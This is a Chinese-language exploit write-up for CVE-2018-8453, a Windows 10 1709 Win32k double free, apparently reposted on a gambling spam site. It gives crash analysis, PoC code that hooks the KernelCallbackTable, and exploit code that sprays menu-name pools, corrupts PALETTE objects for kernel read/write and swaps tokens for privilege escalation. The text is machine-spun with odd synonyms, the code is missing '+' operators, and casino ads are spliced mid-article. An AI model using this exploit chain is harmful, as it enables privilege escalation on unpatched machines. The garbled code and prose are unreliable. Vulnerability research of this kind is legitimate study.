快捷搜索:  as  test  创意文化园1  创意文化园  江素盈  伍淼鑫  (95=95)*88888  88888

电银付(dianyinzhifu.com):CVE-2018-8453 Win32k破绽剖析条记

CVE-2018-8453是一种UAF类型的破绽,破绽发生的缘故原由是win32kfull!NtUserSetWindowFNID函数在对窗口工具设置FNID时没有检查窗口工具是否已经被释放,导致可以对一个已经被释放了的窗口设置一个新的FNID。通过行使win32kfull!NtUserSetWindowFNID的这一缺陷,可以控制窗口工具销毁时在xxxFreeWindow函数中回调fnDWORD的hook函数,从而可以在win32kfull!xxxSBTrackInit中实现对pSBTrack的Double Free。

设置破绽触发环境

[ ] win10 x64 1709
[ ] windbg preview 1.0.2001.02001

BSOD剖析

首先,我们将poc放入虚拟机中并运行,触发溃逃之后转到windbg中。先查看破绽成因

程序试图释放一块已经释放了的pool,说明这是一个经典的Double Free破绽。看一下这个pool的属性

这是一个0x80巨细的session pool,划重点,这里后面要用到的。接着看一下挪用关系


静态剖析可知,win32kbase!Win32FreePool和win32kfull!Win32FreePoolImpl都是通报参数的工具人,将win32kfull!xxxSBTrackInit传入的参数通报给nt!ExFreePoolWithTag函数,以是我们还需要接着剖析win32kfull!xxxSBTrackInit函数。

win32kfull!xxxSBTrackInit函数实现转动条的鼠标追随,当用户在一个转动条按下左键(左键也是重点,后面会用)时,系统就会发生一个SBTrack结构保留用户鼠标的当前位置;用户松开鼠标时,系统会释放SBTrack结构。详细细节我们可以通过 Windows 2000 的源码来深入领会:

pSBTrack = (PSBTRACK)UserAllocPoolWithQuota(sizeof(*pSBTrack), TAG_SCROLLTRACK);
if (pSBTrack == NULL)
    return;

pSBTrack->hTimerSB = 0;
pSBTrack->fHitOld = FALSE;

pSBTrack->xxxpfnSB = xxxTrackBox;

pSBTrack->spwndTrack = NULL;
pSBTrack->spwndSB = NULL;
pSBTrack->spwndSBNotify = NULL;
Lock(&pSBTrack->spwndTrack, pwnd);
PWNDTOPSBTRACK(pwnd) = pSBTrack;

pSBTrack->fCtlSB = (!curArea);pSBTrack = (PSBTRACK)UserAllocPoolWithQuota(sizeof(*pSBTrack), TAG_SCROLLTRACK);
if (pSBTrack == NULL)
    return;

win32kfull!xxxSBTrackInit函数首先通过UserAllocPoolWithQuota函数申请一块内存来保留SBTrack的结构,将其保留在指针pSBTrack中,之后对SBTrack结构举行了一些初始化。

xxxSBTrackLoop(pwnd, lParam, pSBCalc);
while (ptiCurrent->pq->spwndCapture == pwnd) {
        if (!xxxGetMessage(&msg, NULL, 0, 0)) {
            // Note: after xxx, pSBTrack may no longer be valid
            break;
        }

        if (!_CallMsgFilter(&msg, MSGF_SCROLLBAR)) {
            cmd = msg.message;

            if (msg.hwnd == HWq(pwnd) && ((cmd >= WM_MOUSEFIRST && cmd <=
                    WM_MOUSELAST) || (cmd >= WM_KEYFIRST &&
                    cmd <= WM_KEYLAST))) {
                cmd = SystoChar(cmd, msg.lParam);

                // After xxxWindowEvent, xxxpfnSB, xxxTranslateMessage or
                // xxxDispatchMessage, re-evaluate pSBTrack.
                REEVALUATE_PSBTRACK(pSBTrack, pwnd, "xxxTrackLoop");
                if ((pSBTrack == NULL) || (NULL == (xxxpfnSB = pSBTrack->xxxpfnSB)))
                    // mode cancelled -- exit track loop
                    return;

                (*xxxpfnSB)(pwnd, cmd, msg.wParam, msg.lParam, pSBCalc);
            } else {
                xxxTranslateMessage(&msg, 0);
                xxxDispatchMessage(&msg);
            }
        }
    }

接着挪用xxxSBTrackLoop函数来循环处置用户的新闻,该函数循环获取新闻、判断新闻、分发新闻。当用户铺开鼠标时,xxxSBTrackLoop住手追踪新闻,退出之后释放pSBTrack指向的内存。

// After xxx, re-evaluate pSBTrack
REEVALUATE_PSBTRACK(pSBTrack, pwnd, "xxxTrackLoop");

if (pSBTrack) {
    Unlock(&pSBTrack->spwndSBNotify);
    Unlock(&pSBTrack->spwndSB);
    Unlock(&pSBTrack->spwndTrack);
    UserFreePool(pSBTrack);
    PWNDTOPSBTRACK(pwnd) = NULL;
}

xxxSBTrackLoop循环竣事之后解引用了几个窗口的引用,然后释放掉pSBTrack指向的内存。

按理来说这里是不会报错的,以上这些操作都是正常流程,但double free的错误提醒说明在pSBTrack被win32kfull!xxxSBTrackInit释放之前已经被偷偷释放过一次了,在那里我们不得而知,先实验下一个内存接见断点。

ba r8 ffff8d3dc1d2e9c0

断了几回都在申请内存的时刻,最终,我们可以断在nt!ExFreePoolWithTag函数,该函数正计划释放pSTBrack,看起来和第二次释放没什么区别,但看一下客栈就发现问题所在了。

这次释放发生在win32kbase!Win32FreePool释放pSBTrack之前,就是这次本不应发生的释放导致了Double Free的发生。先看最上面符号出来的代码,这次是一个xxxEndScrell函数挪用了Win32FreePool,该函数源码如下

void xxxEndScroll(
    PWND pwnd,
    BOOL fCancel)
{
    UINT oldcmd;
    PSBTRACK pSBTrack;
    CheckLock(pwnd);
    UserAssert(!IsWinEventNotifyDeferred());

    pSBTrack = PWNDTOPSBTRACK(pwnd);
    if (pSBTrack && PtiCurrent()->pq->spwndCapture == pwnd && pSBTrack->xxxpfnSB != NULL) {

        (省略部分内容)

        pSBTrack->xxxpfnSB = NULL;

        /*
         * Unlock structure members so they are no longer holding down windows.
         */
        Unlock(&pSBTrack->spwndSB);
        Unlock(&pSBTrack->spwndSBNotify);
        Unlock(&pSBTrack->spwndTrack);
        UserFreePool(pSBTrack);
        PWNDTOPSBTRACK(pwnd) = NULL;
    }
}

只要我们能够通过if的判断,那么就能乐成释放pSBTrack。由于程序是单线程,以是建立的窗口都是用的原来的SBTrack,自然而然的,pSBTrack和pSBTrack->xxxpfnSB != NULL都可以通过。至于PtiCurrent()->pq->spwndCapture == pwnd可以通过挪用SetCapture函数来直接设置。

xxxEndScroll函数的作用我们已经知道了,接着继续循着挪用路径追溯

void xxxDWP_DoCancelMode(
    PWND pwnd)
{
    (省略)

    if (pwndCapture == pwnd) {
        PSBTRACK pSBTrack = PWNDTOPSBTRACK(pwnd);
        if (pSBTrack && (pSBTrack->xxxpfnSB != NULL))
            xxxEndScroll(pwnd, TRUE);
    (省略)

继续往上追溯就到了win32kfull!xxxRealDefWindowProc。我们可以在对应的源码处看到一些有用的信息,如下

LRESULT xxxDefWindowProc(
    PWND pwnd,
    UINT message,
    WPARAM wParam,
    LPARAM lParam)
{
    (省略)
    case WM_CANCELMODE:
        {
            /*
             * Terminate any modes the system might
             * be in, such as scrollbar tracking, menu mode,
             * button capture, etc.
             */
            xxxDWP_DoCancelMode(pwnd);
        }
        break;
    (省略)

若是xxxDefWindowProc函数收到了WM_CANCELMODE,就可以去执行xxxEndScroll来释放SBTrack结构。

至此,我们对这个破绽已经有一个开端认识了,大概有以下情报

[ ] 破绽的成因是程序对一个0x80巨细的session poll举行了两次释放
[ ] 第一次释放发生在poc的fnDWORDHook中,通过挪用xxxEndScroll函数来实现
[ ] 第二次释放发生在xxxSBTrackInit函数,当xxxSBTrackLoop函数竣事时会释放pSBTrack

poc剖析

建立窗口

UINT CreateWindows(VOID) {

    HINSTANCE hInstance;
    WNDCLASS wndclass = { 0 };

    {

        hInstance = GetModuleHandleA(0);
        wndclass.style = CS_HREDRAW | CS_VREDRAW;
        wndclass.lpfnWndProc = DefWindowProc;
        wndclass.hInstance = hInstance;
        wndclass.cbClsExtra = 0x00;
        wndclass.cbWndExtra = 0x08;
        wndclass.lpszClassName = "case";

        if (!RegisterClassA(&wndclass)) {
            cout << "RegisterClass Error!" << endl;
            return 1;
        }
    }
    Window = CreateWindowExA(0, "case", NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);

    if (!Window) {
        cout << "Create Window Error!" << endl;
        return 1;
    }

    //保留句柄在扩展内存中
    SetWindowLongA(Window, 0, (ULONG)Window);

    //WS_CHILD |

    SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, WS_CHILD | WS_VISIBLE | SBS_HORZ, NULL, NULL, 2, 2, Window, NULL, hInstance, NULL);
    cout << "Window:0x" << hex << Window << endl;
    cout << "SrollBar:0x" << hex << SrollBar << endl;

}

注册窗口类并发生一个主窗口,以主窗口为父窗口再建立一个转动条子控件。只注重两个地方就可以了,wndclass.cbWndExtra = 0x08子窗口属性设置为WS_CHILD,后面剖析的时刻会讲缘故原由。

回调函数Hook

//Windows10 1709 X64
VOID Hook_Init(VOID) {

    DWORD OldType = 0;

    ULONG64 KernelCallbackTable = *(ULONG64*)(PEB   0x58);

    VirtualProtect((LPVOID)KernelCallbackTable, 0x1024, PAGE_EXECUTE_READWRITE, &OldType);

    //fnDWORD
    fnDword = (My_FnFunction) * (ULONG64*)(KernelCallbackTable   0x08 * 0x02);

    *(ULONG64*)(KernelCallbackTable   0x08 * 0x02) = (ULONG64)fnDWORDHook;

    //xxxClientAllocWindowClassExtraBytes

    xxxClientAllocWindowClassExtraBytes = (My_FnFunction) * (ULONG64*)(KernelCallbackTable   0x08 * 0x7E);
    //0x80
    *(ULONG64*)(KernelCallbackTable   0x08 * 0x7E) = (ULONG64)xxxClientAllocWindowClassExtraBytesHook;
}

首先获得KernelCallbackTable的地址,至于为什么是PEB 0x58,可以通过在windbg下dt _PEB @$peb查看。VirtualProtect函数更改KernelCallbackTable表为可读可写可执行,这样我们可以直接通过赋值来修改其中的函数地址,这里我们修改了fnDWORDxxxClientAllocWindowClassExtraBytes

这两段代码是触发溃逃之前很主要的准备事情,然则有很多多少器械不明不白,你可能有以下问题

[ ] 为什么要hook fnDWORD和xxxClientAllocWindowClassExtraBytes?
[ ] 为什么要设置wndclass.cbWndExtra = 0x08?
[ ] 为什么要转动条必须设置为WS_CHILD?

这些问题都会在接下来的触发历程剖析中获得解答。

触发历程剖析

{
    //Hook
    Hook_Init();
    Flag = 1;

    //debug
    DebugBreak();

    //向转动条发送点击新闻
    SendMessageA(SrollBar, WM_LBUTTONDOWN, MK_LBUTTON, 0x00080008);
}

在执行完Hook_Init函数之后,我们的准备事情已经基本完成了。首先向转动条发送WM_LBUTTONDOWN新闻,转动条会挪用xxxSBTrack函数来实现转动条的鼠标追随而且用SBTrack来保留鼠标位置,之后会挪用xxxSBTrackLoop循环获取鼠标新闻。xxxSBTrackLoop循环会挪用fnDWORD回调函数来回到R3,若是我们hook fnDWORD的话,就可以在xxxSBRrackInit函数执行时代举行一些分外的操作,这就是为什么hook fnDWORD的缘故原由。分外操作详细如下

VOID fnDWORDHook(PMSG MSG) {

    if (Flag) {
        Flag = 0;
        DestroyWindow(Window);
    }

    if (*((PULONG64)MSG   1) == 0x70) {
        cout << "SendMessage" << endl;

        SendMessageA(New_SrollBar, WM_CANCELMODE, 0, 0);
    }
    fnDword(MSG);

}

由于其他地方也可能会挪用fnDWORD回调函数,以是我们通过if和fnDword(MSG)来维持hook之后的fnDWORD依然能正常运行。先看第一个if,通过Flag的值判断是否进入,这里我们挪用DestroyWindow(Window)来释放父窗口。在windows 2000的源码中简朴跟进了一下,我们得知DestroyWindow函数挪用xxxDestroyWindow函数,xxxDestroyWindow又去挪用xxxFreeWindow函数。在xxxFreeWindow函数中,我们考察一下cbWndExtra相关的内容

,

欧博客户端下载ALLbet6.com

欢迎进入欧博客户端下载(Allbet Game):www.aLLbetgame.us,欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。

,

首先判断是否存在窗口扩展结构,若是存在的话则挪用xxxClientFreeWindowClassExtraBytes函数释放窗口扩展空间,这就是为什么我们要设置wndclass.cbWndExtra = 0x08的缘故原由。接着我们查看一下该函数的实现

这里挪用了用户模式回调函数,是peb->KernelCallbackTable)[126]所在的地址,该处正好就是我们hook的

xxxClientAllocWindowClassExtraBytes。以是我们前面专程设置wndclass.cbWndExtra = 0x08和hook了xxxClientAllocWindowClassExtraBytes都是为了进入这个函数,然后挪用我们的hook函数。

VOID xxxClientAllocWindowClassExtraBytesHook(PVOID MSG) {

    if ((*(HWND*)*(HWND*)MSG) == Window) {
        cout << "xxxClientAllocWindowClassExtraBytes" << endl;
        //为什么要建立新转动条控件呢,由于子转动条控件的父窗口被释放后,无法获取到转动条的内核地址了
        New_SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, SBS_HORZ | WS_HSCROLL | WS_VSCROLL, NULL, NULL, 2, 2, NULL, NULL, GetModuleHandleA(0), NULL);
        NtUserSetWindowFNID(Window, 0x2A1);
        SetCapture(New_SrollBar);
    }

    xxxClientAllocWindowClassExtraBytes(MSG);
}

在CreateWindows函数中,我们用SetWindowLongA(Window, 0, (ULONG)Window)将句柄保留在了扩展内存之中,现在行使句柄判断是否为父窗口挪用了xxxClientAllocWindowClassExtraBytesHook函数。在if中,我们修改了FNID的值,看起来有点疑惑,为什么要设置这些似乎不相关的器械?我们需要回首一下xxxSBTrackInit中的内容

if (pSBTrack) {
    Unlock(&pSBTrack->spwndSBNotify);
    Unlock(&pSBTrack->spwndSB);
    Unlock(&pSBTrack->spwndTrack);
    UserFreePool(pSBTrack);
    PWNDTOPSBTRACK(pwnd) = NULL;
}

在xxxSBLoop竣事后,会对spwndSBNotify和主窗口的引用举行解引用。虽然父窗口已经被释放了,但子窗口还对父窗口有引用,以是相关的pool并没有被释放,但由于这是最后一个引用,HMAssignmentUnlock函数消灭赋值锁的历程会减小工具的锁计数,在锁计数减小为0时挪用HMUnlockObjectInternal销毁工具,销毁时挪用win32k!ghati对应表项的销毁例程,并最终挪用win32kfull!xxxDestroyWindow对窗口工具举行释放,这就是我们需要界说转动条子控件的缘故原由。

兜兜转转我们又回到了win32kfull!xxxDestroyWindow函数,刚刚已经剖析过了,xxxDestroyWindow挪用xxxFreeWindow来释放窗口,而FNID为释放窗口的Flag属性,我们把FNID修改为了0x2A1,正好可以通过下图的验证

过了验证之后我们会再一次挪用fnDWORDHook函数并发送0x70的Message,回首一下我们的fnDWORDHook

VOID fnDWORDHook(PMSG MSG) {

    if (Flag) {
        Flag = 0;
        DestroyWindow(Window);
    }

    if (*((PULONG64)MSG   1) == 0x70) {
        cout << "SendMessage" << endl;

        SendMessageA(New_SrollBar, WM_CANCELMODE, 0, 0);
    }
    fnDword(MSG);

}

第二个if终于排上了用场,他卖力发送一个WM_CANCELMODE新闻。在剖析BSOD的时刻,我们已经剖析了xxxEndScroll函数触发的条件,正好就是WM_CANCELMODE新闻,这样一来,我们的pSBTrack就会被释放,接着再被win32kfull!SBTrackInit中的Win32FreePool释放,从而造成Double Free。

至此,我们刚刚提出的几个问题也全都解决了:

[ ] 为什么要hook fnDWORD和xxxClientAllocWindowClassExtraBytes?
答:我们可以通过SBTrackloop和xxxFreeWindow挪用这两个回调函数,hook之后可以有两次返回r3举行操作的机遇。
[ ] 为什么要设置wndclass.cbWndExtra = 0x08?
答:为了回调xxxClientAllocWindowClassExtraBytes。
[ ] 为什么要转动条必须设置为WS_CHILD?
答:为了引用父窗口,这样才不会在DestroyWindow的时刻被直接释放。

触发流程示意图

exp剖析

HMAssignmentUnlock的行使姿势

前面我们已经剖析过了,在xxxSBTrackLoop循环竣事之后,HMAssignmentUnlock函数对spwndSB(父窗口)解引用的时刻会挪用win32kfull!xxxDestroyWindow并最终释放SBTrack结构。

if (pSBTrack) {
    Unlock(&pSBTrack->spwndSBNotify);
    Unlock(&pSBTrack->spwndSB);         // 对主窗口解引用
    Unlock(&pSBTrack->spwndTrack);      // tagSBTrack解引用
    UserFreePool(pSBTrack);
    PWNDTOPSBTRACK(pwnd) = NULL;
}

注重Unlock(&pSBTrack->spwndTrack);,在解引用tagSBTrack之前,tagSBTrack结构已经被释放了,若是我们堆喷射很多个0x80巨细的session来重引用tagSBTrack。

UCHAR MenuNames[0x100] = { 0 }, ClassName[0x50] = { 0 };

    memset(MenuNames, 0x43, 0x80 - 0x20);

    *(ULONG64*)((ULONG64)MenuNames   0x10) = To_Where_A_Palette;
    *(ULONG64*)((ULONG64)MenuNames   0x08) = To_Where_A_Palette;

    while (I < 0x1000) {

        sprintf((char*)ClassName, "WindowUaf%d", I);

        hInstance = GetModuleHandleA(0);
        wndclass.style = CS_HREDRAW | CS_VREDRAW;
        wndclass.lpfnWndProc = DefWindowProc;
        wndclass.hInstance = hInstance;
        wndclass.lpszMenuName = (LPCWSTR)MenuNames;
        wndclass.lpszClassName = (LPCWSTR)ClassName;

        if (!RegisterClassW(&wndclass)) {
            cout << "RegisterClass Error!" << endl;
            return 1;
        }

我们分配了0x1000个TagCls结构,其中保留着指向lpszMenuName结构的指针,该结构作为0x80的session pool 正好复用tagSBTrack的内存,只要修改MenuNames的内容就可以执行HMAssignmentUnlock(随便值)了。

随便地址-1

HMAssignmentUnlock(随便值)看起来似乎作用不大,我们先看看HMAssignmentUnlock函数内部实现

既然我们已经获得了HMAssignmentUnlock(随便值),就等于是控制了rcx,函数内部对[[rcx] 8]减一,也就是我们已经获得了随便地址-1。

泄露PALETTE地址

memset(MenuNames, 0x43, 0x1000 - 10);

    {

        hInstance = GetModuleHandleA(0);
        wndclass.style = CS_HREDRAW | CS_VREDRAW;
        wndclass.lpfnWndProc = DefWindowProc;
        wndclass.hInstance = hInstance;
        wndclass.lpszMenuName = (LPCWSTR)MenuNames;
        wndclass.lpszClassName = L"LEAKWS";

        if (!RegisterClassW(&wndclass)) {
            cout << "RegisterClass Error!" << endl;
            return 1;
        }
    }

PALETTE调色板在Win10 1709没有开启Type ISOLaTion,而且同样是session pool,我们可以思量修改该结构来到达随便地址读写。先通过MenuName建立一个0x1000的pool,这是为了取得lpszMenuName的地址,通过它我们可以获得PALETTE的地址。

//建立窗口在用户映射桌面堆的位置
    PTagWnd = (ULONG64)HMValidateHandle(hwnd, 0x01);

    UlClientDelta = (ULONG64)((*(ULONG64*)(PTagWnd   0x20)) - (ULONG64)PTagWnd);

    TagCls = (*(ULONG64*)(PTagWnd   0xa8)) - UlClientDelta;

接着挪用HMValidateHandle()函数获取tagWND的用户态桌面堆的地址,又由于tagWND结构中保留了自己在内核堆中的地址,我们可以获得一个相对偏移,通过这个偏移我们可以获取随便结构在内核桌面堆中的地址,又由于tagWND中保留着tagCLS的地址,我们可以算出tagCLS在用户态桌面堆的地址。有了tagCLS我们就可以在0x98的偏移地址找到MenuName,也就可以找到PALETTE的地址了。然后释放MenuName,这样内存就会被释放为Free状态,后面讲为什么要释放。

DestroyWindow(hwnd);

    return *(ULONG64*)(TagCls   0x98);

随便地址读写

现在我们有了目的地址,也有了随便地址-1,已经可以举行一些操作了。虽然靠这个随便地址-1为所欲为是不太可能,然则他可以帮我们组织攻击链,是的,忙活这么半天还只是在举行准备事情,详细攻击链如图所示

PALETTE中的cEntries为该结构的读写局限,pFirstColor是指向调色板项的指针,若是我们能扩大cEntries的局限,就能对pFirstColor举行读写,修改pFirstColor的值,然后就可以挪用PALETTE相关的函数对内核数据举行随便读写了。

VOID GetPalette_Address(VOID) {

    ULONG64 A_Palette_Address = NULL, B_Palette_Address = NULL;

    Palette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE)   (sizeof(PALETTEENTRY) * (0x1D5 - 0x01)));

    memset(Palette, 0x42, sizeof(LOGPALETTE)   (sizeof(PALETTEENTRY) * (0x1D5 - 0x01)));

    Palette->palVersion = 0x0300;
    Palette->palNumEntries = 0x1D5;

    A_Palette_Address = GetMenuAddress();

    cout << "A_Palette_Address:0x" << hex << A_Palette_Address << endl;

    To_Where_A_Palette = A_Palette_Address   0x2D - 8;

    //内存缩紧
    for (UINT I = 0; I < 0x1500;   I) {
        CreatePalette(Palette);
    }

    UnregisterClassW(L"LEAKWS", GetModuleHandleA(0));

    Where_PALETTE = CreatePalette(Palette);

    What_PALETTE = CreatePalette(Palette);

    cout << "Where_PALETTE:0x" << hex << Where_PALETTE << endl;

    cout << "What_PALETTE:0x" << hex << What_PALETTE << endl;

}

我们设置的cEntries的值为0x1d5,这会分配一个0x800巨细的kernel pool,若是分配两个的话就会重新引用刚刚释放的0x1000内存,这样的话,修改cEntries造成OOB之后就可以对*pFirstColoe举行随便读写了。

HMAssignmentUnlock执行两次之后,cEntries的值已经被修改成了0xFFFFFFd5,足够我们举行操作了,通过 SetPaletteEntries() 以及 GetPaletteEntries() 函数即可在Ring3来随便内存读写,提权倒是很轻松了,修改Token就行了。

收尾事情

虽然刚刚的操作很是乐成,然则BSOD照样会依旧触发,由于我们通过lpszMenuName引用了pSBTrack,在之后清算历程的时刻依然会触发DoubleFree,会影响我们的行使。以是我们需要在UAF_80函数中将所有的IpszMenyNames都保留了起来,行使随便读写将保留lpszMenuName 的结构赋值为0,这样就不会有对pSBTrack的错误释放,而是会在xxxSBTrack的正常流程中仅仅释放一次。

VOID FMenuName(VOID) {
    ULONG64 Zero = 0;
    UCHAR Menu[0x20] = { 0 };

    for (UINT I = 0; I < 0x1000;   I) {
        if (TagCls_Menu_Address[I] == 0) {
            continue;
        }
        *(ULONG64*)Menu = TagCls_Menu_Address[I];

        SetPaletteEntries(Where_PALETTE, 0x1DE   0x1E, 2, (LPPALETTEENTRY)&Menu);

        SetPaletteEntries(What_PALETTE, 0, 2, (LPPALETTEENTRY)&Zero);
    }
}

至此,我们乐成解决了Double Free和提权,大功告成了!

其他

我的博客:https://www.0x2l.cn/


发表评论
sunbet声明:该文看法仅代表作者自己,与本平台无关。请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 验证码:点击我更换图片

您可能还会对下面的文章感兴趣: